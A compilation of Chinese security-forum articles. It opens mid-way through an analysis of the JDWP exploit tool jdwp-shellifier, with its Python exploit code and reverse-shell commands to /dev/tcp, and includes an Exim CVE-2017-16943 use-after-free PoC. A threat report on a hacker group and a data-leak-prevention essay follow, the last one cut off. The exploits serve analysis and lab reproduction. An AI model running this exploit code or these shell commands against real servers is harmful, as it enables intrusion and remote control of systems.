buf = self.read_reply()
formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
("I", "referenceTypeIDSize"), ("I", "frameIDSize") ]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
return
通过向服务端发送`IDSIZES_SIG = (1,
7)`的包，然后利用`parse_entries()`方法得到一些JDWP的属性，包括`fieldIDSize`,`methodIDSize`等属性。运行完毕之后得到的属性如下：
[
之后运行`getversion()`方法，得到JVM相关的配置信息。
def getversion(self):
self.socket.sendall( self.create_packet(VERSION_SIG) )
buf = self.read_reply()
formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
('S', "vmVersion"), ('S', "vmName"), ]
for entry in self.parse_entries(buf, formats, False):
for name,value in entry.iteritems():
setattr(self, name, value)
return
[
接下来运行
ALLCLASSES_SIG = (1, 3)
def allclasses(self):
try:
getattr(self, "classes")
except:
self.socket.sendall( self.create_packet(ALLCLASSES_SIG) )
buf = self.read_reply()
formats = [ ('C', "refTypeTag"),
(self.referenceTypeIDSize, "refTypeId"),
('S', "signature"),
('I', "status")]
self.classes = self.parse_entries(buf, formats)
return self.classes
通过`socket`发送`ALLCLASSES_SIG = (1,
3)`的包，利用`parse_entries()`解析返回包的数据，得到`refTypeTag`,`refTypeId`等信息。以下就是得到所有的结果：
[
#### runtime_exec
def runtime_exec(jdwp, args):
print ("[+] Targeting '%s:%d'" % (args.target, args.port))
print ("[+] Reading settings for '%s'" % jdwp.version)
# 1. get Runtime class reference
runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
if runtimeClass is None:
print ("[-] Cannot find class Runtime")
return False
print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
# 2. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
if getRuntimeMeth is None:
print ("[-] Cannot find method Runtime.getRuntime()")
return False
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
# 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name( args.break_on_class )
if c is None:
print("[-] Could not access class '%s'" % args.break_on_class)
print("[-] It is possible that this class is not used by application")
print("[-] Test with another one with option `--break-on`")
return False
jdwp.get_methods( c["refTypeId"] )
m = jdwp.get_method_by_name( args.break_on_method )
if m is None:
print("[-] Could not access method '%s'" % args.break_on)
return False
loc = chr( TYPE_CLASS )
loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] )
loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] )
loc+= struct.pack(">II", 0, 0)
data = [ (MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event( EVENT_BREAKPOINT, *data )
print ("[+] Created break event id=%x" % rId)
# 4. resume vm and wait for event
jdwp.resumevm()
print ("[+] Waiting for an event on '%s'" % args.break_on)
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
print ("[+] Received matching event from thread %#x" % tId)
jdwp.clear_event(EVENT_BREAKPOINT, rId)
# 5. Now we can execute any code
if args.cmd:
runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
else:
# by default, only prints out few system properties
runtime_exec_info(jdwp, tId)
jdwp.resumevm()
print ("[!] Command successfully executed")
return True
if runtime_exec(cli, args) == False:
print ("[-] Exploit failed")
retcode = 1
`runtime_exec()`此方法类似与Java反弹shell中的利用ivoke的方式得到`Runtime`对象，然后利用`Runtime`对象进一步执行命令，从而最终达到RCE。
第一步，得到`Runtime`类
# 1. get Runtime class reference
runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
if runtimeClass is None:
print ("[-] Cannot find class Runtime")
return False
print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
第二步，得到`getRuntime()`方法
# 2. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
if getRuntimeMeth is None:
print ("[-] Cannot find method Runtime.getRuntime()")
return False
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
以上两步的代码就类似于Java中的：
Class cls = Class.forName("java.lang.Runtime");
Method m = cls.getMethod("getRuntime");
第三步，得到断点设置的类和方法
# 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name( args.break_on_class )
if c is None:
print("[-] Could not access class '%s'" % args.break_on_class)
print("[-] It is possible that this class is not used by application")
print("[-] Test with another one with option `--break-on`")
return False
jdwp.get_methods( c["refTypeId"] )
m = jdwp.get_method_by_name( args.break_on_method )
if m is None:
print("[-] Could not access method '%s'" % args.break_on)
return False
在默认情况下，`c`是`Ljava/net/ServerSocket;`,`m`是`accept`。
[
第四步，向JVM发生数据，表示需要`ServerSocket.accept()`在下断点
loc = chr( TYPE_CLASS )
loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] )
loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] )
loc+= struct.pack(">II", 0, 0)
data = [ (MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event( EVENT_BREAKPOINT, *data )
第五步，等待程序运行至断点处，运行完毕之后清除断点。
# 4. resume vm and wait for event
jdwp.resumevm()
print ("[+] Waiting for an event on '%s'" % args.break_on)
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
print ("[+] Received matching event from thread %#x" % tId)
jdwp.clear_event(EVENT_BREAKPOINT, rId)
第六步，执行自定义的命令
def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
#
# This function will invoke command as a payload, which will be running
# with JVM privilege on host (intrusive).
#
print ("[+] Selected payload '%s'" % command)
# 1. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring( command )
if len(cmdObjIds) == 0:
print ("[-] Failed to allocate command")
return False
cmdObjId = cmdObjIds[0]["objId"]
print ("[+] Command string object created id:%x" % cmdObjId)
# 2. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
if rt is None:
print "[-] Failed to invoke Runtime.getRuntime()"
return False
print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)
# 3. find exec() method
execMeth = jdwp.get_method_by_name("exec")
if execMeth is None:
print ("[-] Cannot find method Runtime.exec()")
return False
print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])
# 4. call exec() in this context with the alloc-ed
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
print(buf)
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
print ("[+] Runtime.exec() successful, retId=%x" % retId)
return True
# 5. Now we can execute any code
if args.cmd:
runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
else:
# by default, only prints out few system properties
runtime_exec_info(jdwp, tId)
jdwp.resumevm()
在中最关键的就是：
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] # 得到需要执行的反复噶
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) #利用Runtime.getRuntime().exec()执行。
上面的代码就等价于Java中的：
Class cls = Class.forName("java.lang.Runtime");
Method m = cls.getMethod("getRuntime");
Method exec = cls.getMethod("exec", String.class);
// 执行getRuntime()方法，等价于 Object o = Runtime.getRuntime();
Object o = m.invoke(cls,null);
// 执行exec方法，等价于 Runtime.getRuntime().exec(command)
exec.invoke(o,command);
以上就是整个执行流程。
#### 反弹shell
`demo.jar`是一个springboot的程序，核心逻辑如下：
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
@RequestMapping(path = {"/","/index"}, method = {RequestMethod.GET})
public String index(Model model) throws Exception {
int result = "12345".indexOf(0);
System.out.println(result);
return "index";
}
}
那么我们就可以尝试通过如下的方式进行反弹shell。
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'touch exploit.txt'
结果输出的结果如下：
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'touch exploit.txt'
[+] Targeting '127.0.0.1:9999'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191'
[+] Found Runtime class: id=150e
[+] Found Runtime.getRuntime(): id=7ff960045930
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x15fa
[+] Selected payload 'touch exploit.txt'
[+] Command string object created id:15fb
[+] Runtime.getRuntime() returned context id:0x15fc
[+] found Runtime.exec(): id=7ff960011e10
[+] Runtime.exec() successful, retId=15fd
[!] Command successfully executed
在`demo.jar`的统计目录下查看文件：
drwxrwxr-x 2 username username 4096 Apr 18 13:47 .
drwxrwxr-x 8 username username 4096 Apr 7 20:39 ..
-rw-rw-r-- 1 username username 16726504 Apr 16 20:41 demo.jar
-rw-r--r-- 1 username username 0 Apr 18 13:47 exploit.txt
说明成功执行了cmd参数中的命令，那么我们有如何反弹shell呢?我们按照常规的反弹shell的思路,`python jdwp-shellifier.py
-t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd '/bin/bash -i
>& /dev/tcp/127.0.0.1/12345 0>&1'`，最终的运行结果如下：
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'
[+] Targeting '127.0.0.1:9999'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191'
[+] Found Runtime class: id=1645
[+] Found Runtime.getRuntime(): id=7ff960045930
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x1731
[+] Selected payload '/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'
[+] Command string object created id:1732
[+] Runtime.getRuntime() returned context id:0x1733
[+] found Runtime.exec(): id=7ff960011e10
[+] Runtime.exec() successful, retId=1734
[!] Command successfully executed
虽然执行结果显示成功执行，但是实际上反弹shell并没有成功。原因其实在之前的文章[绕过exec获取反弹shell](https://blog.spoock.com/2018/11/25/getshell-bypass-exec/)中也已经讲过了，通过`Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port
0>&1");`这种方式是无法反弹shell的。而在本例中刚好利用的是`execMeth =
jdwp.get_method_by_name("exec")`，得到就是`public Process exec(String
command)`这个`exec()`，所以就无法反弹shell。那么按照我文章提供的种种思路，都是可以成功实现反弹shell的，我们还是通过最为简单的方式
最终我们使用如下的`python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on
'java.lang.String.indexOf' --cmd 'bash -c
{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}'`
最终我们得到的结果就是:
python jdwp-shellifier.py -t 127.0.0.1 -p 9999 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}'
[+] Targeting '127.0.0.1:9999'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 1.8.0_191'
[+] Found Runtime class: id=1511
[+] Found Runtime.getRuntime(): id=7f2bb8046360
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x15fd
[+] Selected payload 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}'
[+] Command string object created id:15fe
[+] Runtime.getRuntime() returned context id:0x15ff
[+] found Runtime.exec(): id=7f2bb8010410
[+] Runtime.exec() successful, retId=1600
[!] Command successfully executed
最终成功地触发了反弹shell。
#### JDWP反弹流程
上面是从`jdwp-shellifier`的源代码上面对利用进行了分析，那么我们还是来分析一下在exploit过程中的端口和进程的变化。
在`indexOf`加上断点：
(jdwp-rce/ss -anptw | grep 9999
tcp LISTEN 0 1 0.0.0.0:9999 0.0.0.0:* users:(("java",pid=9822,fd=4))
tcp TIME-WAIT 0 0 127.0.0.1:50644 127.0.0.1:9999
(jdwp-rce/ss -anptw | grep 9999
tcp ESTAB 0 0 127.0.0.1:9999 127.0.0.1:50670 users:(("java",pid=9822,fd=5))
tcp ESTAB 0 0 127.0.0.1:50670 127.0.0.1:9999 users:(("python",pid=9978,fd=3))
(jdwp-rce/lsof -i:9999
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
java 9822 username 5u IPv4 366738 0t0 TCP localhost:9999->localhost:50670 (ESTABLISHED)
python 9978 username 3u IPv4 366868 0t0 TCP localhost:50670->localhost:9999 (ESTABLISHED)
此时是`Python`和`java`进行通信。而此时的`12345`端口只有`nc`的监听端口。
(jdwp-rce/ss -anptw | grep 12345
tcp LISTEN 0 1 0.0.0.0:12345 0.0.0.0:* users:(("nc",pid=9977,fd=3))
此时执行访问`localhost:8888`，触发`indexOf()`方法的执行。此时观察：
(jdwp-rce/ss -anptw | grep 12345
tcp LISTEN 0 1 0.0.0.0:12345 0.0.0.0:* users:(("nc",pid=9977,fd=3))
tcp ESTAB 0 0 127.0.0.1:12345 127.0.0.1:51406 users:(("nc",pid=9977,fd=4))
tcp ESTAB 0 0 127.0.0.1:51406 127.0.0.1:12345 users:(("bash",pid=10120,fd=2),("bash",pid=10120,fd=1),("bash",pid=10120,fd=0))
(jdwp-rce/lsof -i:12345
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nc 9977 username 3u IPv4 363961 0t0 TCP *:12345 (LISTEN)
nc 9977 username 4u IPv4 363962 0t0 TCP localhost:12345->localhost:51406 (ESTABLISHED)
bash 10120 username 0u IPv4 370930 0t0 TCP localhost:51406->localhost:12345 (ESTABLISHED)
bash 10120 username 1u IPv4 370930 0t0 TCP localhost:51406->localhost:12345 (ESTABLISHED)
bash 10120 username 2u IPv4 370930 0t0 TCP localhost:51406->localhost:12345 (ESTABLISHED)
(jdwp-rce/ps -ef | grep 10120
username 10120 10107 0 17:31 pts/0 00:00:00 /bin/bash -i
可以看到`/bin/bash
-i`和`nc`已经建立了`ESTABLISHED`的连接，从而实现了反弹shell。为什么是这个样子？其实通过前面的分析，其实已经可以知道`JDWP`反弹shell的原理本质上还是利用的`Runtime.getRuntime().exec("bash
-i >& /dev/tcp/ip/port 0>&1");`这种方式反弹shell，所以本质上和`JAVA`并没有关系。最后的分析也证实了这一点。
### 总结
总体来说，无论什么样类型的反弹shell，其实本质上都是固定的那几种方式，可能就是前面需要绕过或者是变形一下而已。
#### 参考
1. <https://www.ibm.com/developerworks/cn/java/j-lo-jpda3/index.html>
2. <https://ioactive.com/hacking-java-debug-wire-protocol-or-how/>
3. <https://qsli.github.io/2018/08/12/jdwp/>
* * * | 社区文章 |
作者：[Hcamael@知道创宇404实验室](http://0x48.pw) 英文版本：<https://paper.seebug.org/1029/>
[上一篇分析](https://paper.seebug.org/469/
"上一篇分析")出来后，经过@orange的提点，得知了meh公布的PoC是需要特殊配置才能触发，所以我上一篇分析文章最后的结论应该改成，在默认配置情况下，meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究
#### 重新复现漏洞
比上一篇分析中复现的步骤，只需要多一步，注释了`/usr/exim/configure`文件中的`control =
dkim_disable_verify`
然后调整下poc的padding，就可以成功触发UAF漏洞，控制rip
##### 分析特殊配置下的触发流程
在代码中有一个变量是`dkim_disable_verify`, 在设置后会变成`true`，所以注释掉的情况下，就为默认值`false`,
然后再看看`receive.c`中的代码：
BOOL
receive_msg(BOOL extract_recip)
{
......
1733：if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
1734： dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
1735：#endif
进入了`dkim_exim_verify_init`函数，之后的大致流程：
dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN);
bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64)
#define PDKIM_MAX_BODY_LINE_LEN 16384 //0x4000
在上一篇文章中说过了，无法成功触发uaf漏洞的原因是，被free的堆处于堆顶，释放后就和top chunk合并了。
在注释了dkim的配置后，在`dkim_exim_verify_init` 函数的流程中，执行了一个`store_get`
函数，申请了一个0x4000大小的堆，然后在`dkim_exim_verify_init` 函数和`dkim_exim_verify_feed`
函数中，都有如下的代码：
store_pool = POOL_PERM;
......
store_pool = dkim_verify_oldpool;
--------------- enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };
`store_pool`全局变量被修改为了1，之前说过了，exim自己实现了一套堆管理，当`store_pool`不同时，相当于对堆进行了隔离，不会影响`receive_msg`
函数中使用堆管理时的`current_block`这类的堆管理全局变量
当dkim相关的代码执行结束后，还把`store_pool`恢复回去了
因为申请了一个0x4000大小的堆，大于0x2000，所以申请之后`yield_length`全局变量的值变为了0，导致了之后`store_get(0x64)`再次申请了一块堆，所以有了两块堆放在了heap1的上面，释放heap1后，heap1被放入了unsortbin，成功触发了uaf漏洞，造成crash。(之前的文章中都有写到)
##### 默认配置情况下复现漏洞
在特殊配置情况下复现了漏洞后，又进行了如果在默认配置情况下触发漏洞的研究。
在@explorer大佬的教导下，发现了一种在默认情况下触发漏洞的情况。
其实触发的关键点，就是想办法在heap1上面再malloc一个堆，现在我们从头来开始分析
// daemon.c
137 static void
138 handle_smtp_call(int *listen_sockets, int listen_socket_count,
139 int accept_socket, struct sockaddr *accepted)
140 {
......
348 pid = fork();
352 if (pid == 0)
353 {
......
504 if ((rc = smtp_setup_msg()) > 0)
505 {
506 BOOL ok = receive_msg(FALSE);
......
首先，当有新连接进来的时候，fork一个子进程，然后进入上面代码中的那个分支，`smtp_setup_msg`函数是用来接收命令的函数，我们先发一堆无效的命令过去(padding)，控制`yield_length`的值小于0x100，目的上一篇文章说过了，因为命令无效，流程再一次进入了`smtp_setup_msg`
这时候我们发送一个命令`BDAT 16356`
然后有几个比较重要的操作：
5085 if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093 chunking_data_left = chunking_datasize;
5100 lwr_receive_getc = receive_getc;
5101 lwr_receive_getbuf = receive_getbuf;
5102 lwr_receive_ungetc = receive_ungetc;
5104 receive_getc = bdat_getc;
5105 receive_ungetc = bdat_ungetc;
首先是把输入的16356赋值给`chunking_data_left`
然后把`receive_getc`换成`bdat_getc`函数
再做完这些的操作后，进入了`receive_msg`函数，按照上篇文章的流程差不多，显示申请了一个0x100的heap1
然后进入`receive_getc=bdat_getc`读取数据:
534 int
535 bdat_getc(unsigned lim)
536 {
......
546 if (chunking_data_left > 0)
547 return lwr_receive_getc(chunking_data_left--);
`lwr_receive_getc=smtp_getc`通过该函数获取16356个字符串
首先，我们发送16352个a作为padding，然后执行了下面这流程:
* store_extend return 0 -> store_get -> store_release
先申请了一个0x4010的heap2，然后释放了长度为0x2010的heap1
然后发送`:\r\n`，进入下面的代码分支:
1902 if (ch == '\r')
1903 {
1904 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905 if (ch == '\n')
1906 {
1907 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908 goto EOL;
1909 }
跳到了EOL，最重要的是最后几行代码：
2215 header_size = 256;
2216 next = store_get(sizeof(header_line));
2217 next->text = store_get(header_size);
2218 ptr = 0;
2219 had_zero = 0;
2220 prevlines_length = 0;
2221 } /* Continue, starting to read the next header */
把一些变量重新进行了初始化，因为之前因为padding执行了`store_get(0x4000)`，所以这个时候`yield_length=0`
这个时候再次调用store_get将会申请一个0x2000大小堆，从unsortbin中发现heap1大小正好合适，所以这个时候得到的就是heap1，在heap1的顶上有一个之前`next->text`使用，大小0x4010，未释放的堆。
之后流程的原理其实跟之前的差不多，PoC如下：
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
# raw_input()
r.sendline('a'*0x1300+'\x7f')
# raw_input()
r.recvuntil('command')
r.sendline('BDAT 16356')
r.sendline("a"*16352+':\r')
r.sendline('aBDAT \x7f')
s = 'a'*6 + p64(0xabcdef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
##### exp
根据该CVE作者发的文章，得知是利用文件IO的fflush来控制第一个参数，然后通过堆喷和内存枚举来来伪造vtable，最后跳转到`expand_string`函数来执行命令，正好我最近也在研究ctf中的`_IO_FILE`的相关利用(之后应该会写几篇这方面相关的blog)，然后实现了RCE，结果图如下：
#### 参考链接
1. <https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/>
* * * | 社区文章 |
**作者：知道创宇404积极防御实验室
时间：2021年1月7日**
## 1.背景
近日，知道创宇404积极防御实验室通过“知道创宇安全大脑-业务安全舆情监测平台”监测到土耳其黑客组织“图兰军”近期攻击活动频繁，攻击量呈上升趋势，并且该组织攻击活动在元旦节以后更加活跃。
该组织是2019年12月22日成立的土耳其反华黑客组织，并大力支持东突分裂势力，同时针对中国境内政府、教育等类别网站进行攻击。早在2019年该组织刚成立时，知道创宇404积极防御实验室就已开始监测其动向；其成立当日，一名昵称为
“Yakamoz1319” 的组织成员就在黑客论坛 “turkhackteam”
上发帖煽动土耳其黑客针对我国境内网站发起攻击，以实际行动表明对“东突厥斯坦”的支持。该组织发布的恶意攻击活动公告原文如下：
在这篇土耳其文的帖子当中，攻击者传达了其针对中国网站发动恶意攻击的意图：“对中国的攻击已经开始！朋友们，你们都在关注议程。不幸的是，中国在东突厥斯坦对维吾尔族土耳其人的不人道折磨已使人们陷入冷血的境地。我们不会保持沉默。最近成立并于今天（2019/12/22）宣布成立的图兰军已将中国作为第一个目标。截至目前，所有中文站点都是我们自由攻击的目标。每个人都应该参与攻击活动，无论是团队领导还是普通成员。”
通过知道创宇业务安全舆情监测平台统计，在2019年12月内图兰军等土耳其黑客组织组织共计入侵中国境内网站达百余个，其中不乏高等院校和科研单位
## 2.数据监测分析
据创宇安全大脑业务安全舆情监测平台的数据统计，目前已有21个高校和27个事业单位网站被尝试攻击，且部分网站被植入黑页。
该组织主要通过访问/tr.php，/tr.html等URL的手段来探测网站是否被攻击成功，以下为云防御安全大数据平台捕获到的部分探测日志和该组织公布的被攻击探测的境内网站，捕获的样本如下：
经对过去一周内云防御安全大数据平台的数据分析，该黑客组织长期对中国境内网站进行持续的扫描渗透活动，过去一周内总共收到来自该组织的攻击探测7,532次。攻击趋势如下：
每天的探测数趋势如下：
每天被探测的网站数量也在持续增长：
根据云防御安全大数据平台统计的攻击趋势来看，目前该组织的攻击活动较频繁，且呈现上升趋势。目前临近年底，正是“港独”、“藏独”、“东突”这类反动势力活跃的时期，本次攻击试探的目标基本均为国家关键信息基础设施单位，这类单位应该更加提高警惕做好网站防护工作。
目前探测攻击的高度可疑部分IP如下：
## 3.国内攻击情况展示
**案例1，某网络有限公司网站**
某网络有限公司网站被黑客入侵，首页被篡改。且该公司以下其他23个子域名也被成功攻击。
**案例2，某仓储有限责任公司**
某仓储有限责任公司网站被黑客入侵，首页被篡改。且该公司其他15个子域名也被成功攻击。
**案例3，某党建网**
经分析该网站为某党建网，该网站存在目录遍历问问题。
## 4.攻击组织分析
该组织成员在还在Twitter上发布“东突”相关言论，并贴出被黑的中国网站，如下：
该组织成员长期活跃于土耳其黑客论坛：
该组织长期通过该论坛交流对中国境内网站的攻击成果，以及发布被黑网站等信息
## 5.总结及建议
从当前来看，多数被黑的站点均属于安全防护程度不高或缺乏长期维护的网站，此类网站在持续不断的高强度境外攻击面前存在有巨大的安全隐患。
知道创宇404积极防御实验室结合 **“知道创宇安全大脑”中的“业务安全舆情监测平台”和“云防御安全大数据平台”等平台的数据进行了综合分析**
，预测本次攻击活动会持续到本月底前后，各单位须注意防范，建议：
1、 关注近期境外IP攻击趋势， **可封禁攻击IP列表中境外IP** ，及时做好网站安全防护措施；
2、 例如增加设备的安全策略、 **使用第三方Web应用防火墙** （如：创宇盾）等加强防护。
3、 网站负责人应定期对重点业务站点可能存在的 **安全隐患进行排查** ，做好站点的安全保障工作；
4、 重 **点关注来自土耳其地区的异常访问** 或疑似攻击状况，持续追踪境外黑客组织的威胁行为，谨防站点入侵事件的发生。
**针对创宇盾客户可做以下建议配置防护策略：**
1、 **开启防黑锁** ，避免关键资源受篡改而影响页面；
2、 **开启后台锁** ，对于网站后台登录进行严格管控；
3、 **提升协同防御等级** ，屏蔽政府、教育文化类的境外高危IP；
4、 做好网站自身安全检查， **及时更新漏洞等相关补丁** ，避免被入侵；
5、 **开启弱口令防护** ，对登录和注册接口上出现的弱口令事件进行检测或拦截；
6、 **开启区域访问控制** ，禁止土耳其IP访问相关业务系统。
* * * | 社区文章 |
# 跨域数据共享场景下的数据泄露防护分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、序言
近年来各地政府持续大力推进政务信息共享交换的建设，政府与政府之间数据交换，政府与企业之间的数据开放正在成为各组织机关开展高效行动的一项日益重要的能力，新冠疫情暴发期间，各地健康宝数据共享就是这项能力的有效证明。然而，在跨域数据共享过程中，敏感数据的机密性受到极大挑战，如何防范敏感数据泄露，保护关键数据资产成为各组织机关重要课题。
## 二、跨域数据共享面临的安全风险
随着等级保护制度的实施，通信基础设施安全已经能够得到保障，跨域数据共享安全焦点逐渐转向业务深水区。由于各组织的职责不同，同一类数据在不同单位的安全要求级别存在较大差异，某些权属部门采集的数据范围大、处理权限高，而某些相关部门所需的数据范围小，处理权限低，由此形成了高安全域和低安全域差别。
根据美国安全桔皮书中的BLP（Bell-Lapudula）访问控制模型的定义，当数据由高安全域流向低安全域，即高密低流，则会导致数据机密性风险。在实际敏感数据防护监管体系中，跨域数据共享可能面临数据自身的机密性风险和防护监管难题，主要包括:
### 1.敏感数据暴露
由于技术、管理、人员等多种因素的影响，跨域数据共享最可能面临的风险是高安全域向低安全域开放其无权访问的数据，即低安全域明明只需要数据A，但是在高安全域中，A、B数据是同一类数据的不同属性，高安全域在数据共享时未加以处理和区分，从而导致数据B泄露到了低安全域。
### 2.主体责任不清
在数据共享过程中，原始的数据拥有者需承担数据的真实性、准确性、机密性责任，并需为数据安全持续进行组织、人员、技术、资金投入。但是当数据获得者通过数据共享拥有了一份新的数据拷贝，就成为了新的数据拥有者，随着数据共享的范围增加，数据安全的主体责任就可能随着共享范围的增加，被新的数据拥有者所忽略。
### 3.防护强度降级
根据《DSMM数据安全成熟度模型》的定义，组织的数据安全能力成熟度分为五个级别，代表了组织从随机、无序、无法复制的能力,到可度量、可预测、不断改进和优化的不同级别能力模型。不同组织的成熟度级别不同，对数据安全防护的强度就存在差异，根据木桶原理，数据的整体安全防护能力取决于防护能力最差的那块短板。
### 4.追踪溯源困难
指望目前的安全防护措施能够百分之百的防止敏感数据泄露是不现实的，一旦发生数据泄露事件，则需组织具备能力，回溯泄露源头，追踪泄露路径，实施调查取证。在数据共享之后，所有安全域内的数据访问日志的完整性受到挑战，任意安全域内的日志遭到破坏，都会给追踪溯源造成不利影响。
## 三、跨域数据泄露防护技术措施分析
跨域数据共享的出入口是敏感数据统一管控、集中管控的关键环节，在数据共享出入口做好敏感数据泄露防护措施，可以大大提升防护效率，减少对正常业务的干扰。
通常数据共享出入口包括连接互联网的网关设备或连接其他网络的数据交换平台、单向传输设备，如网闸、单导等。数据交换平台或单导服务器支持嵌入复杂的逻辑功能，可以直接增加数据泄露防护措施，而网关、网闸等设备功能单一，只能串接独立的数据网关设备提供数据泄露防护措施。
数据共享出入口处的数据可能是文件或者是网络流量，针对这两种类型数据，需要部署的数据泄露防护措施包括：
### 1.智能数据分类分级
如今敏感数据识别仍以人工标识、关键字、正则表达式或者文件指纹等方法为主，这些方法能够保证敏感数据识别的精确性，但是对于网络内的海量文件和网络流量，则显得效率过低，漏报率过高。只有利用机器学习等人工智能技术，综合有监督和无监督的学习过程，通过大量数据训练模型，覆盖所有结构化和非结构化的数据，才能控制数据共享出入口的所有文件和流量。
### 2.跨域数据加密解密
数据共享后可读范围的控制是数据主体责任的关键要素，只有数据拥有者才可控制数据的传播范围。最适合控制敏感数据传播的技术莫过于数据加解密技术，数据拥有者向授权的数据获得者发放密钥，当敏感数据从数据共享出入口离开时用密钥加密，此时只有获得了密钥的数据获得者才能解密数据。需要注意的是，由于网络流量无法存储，所以加解密技术只在网络流量数据落地后适用。
### 3.行为审计分析
数据在业务网络内部正常流转时泄露可能性非常低，只有当数据从共享出入口离开网络时，数据泄露可能性才陡然升高，因此在数据共享出入口记录数据流出日志，保留数据发送者、发送时间、目标接收人、敏感数据类别等关键信息，进行用户行为审计，识别异常行为是组织必须采取的检测措施。
### 4.动态数据脱敏
